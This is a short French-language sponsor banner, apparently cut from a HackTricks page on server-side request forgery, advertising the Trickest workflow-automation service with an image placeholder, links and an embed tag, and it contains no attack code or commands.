<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Accédez dès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|